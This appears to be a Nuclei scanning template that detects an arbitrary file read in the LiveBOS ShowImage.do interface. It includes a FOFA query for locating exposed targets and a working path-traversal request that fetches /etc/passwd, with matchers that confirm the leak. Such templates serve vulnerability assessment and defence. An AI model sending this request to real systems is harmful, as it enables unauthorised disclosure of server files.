漏洞描述
An arbitrary file read vulnerability exists in the LiveBOS ShowImage.do interface, which can be exploited to obtain sensitive files from the server.
id: livebos-file-read
info:
name: LiveBOS ShowImage.do - Arbitrary File Read
author: yusakie
severity: high
description: |
An arbitrary file read vulnerability exists in the LiveBOS ShowImage.do interface, which can be exploited to obtain sensitive files from the server.
reference:
- https://www.wevul.com/2301.html
metadata:
verified: "true"
max-request: 2
fofa-query: app="LiveBOS-框架" && body="管理控制台"
tags: livebos,lfi,vuln
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /feed/ShowImage.do;.js.jsp?type=&imgName=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(body_1, "Power by LiveBOS")
- regex('root:.*:0', body_2)
- status_code_2 == 200
condition: and
# digest: 4a0a0047304502202cf3569808ed0d56add5fa4758cf5717c5e52981990bad63f09906f1566056e20221008f4df45c949f8e1e843975215e64a32f5bf622542e324db3d0808f23f279a37d:922c64590222798bb761d5b6d8e72950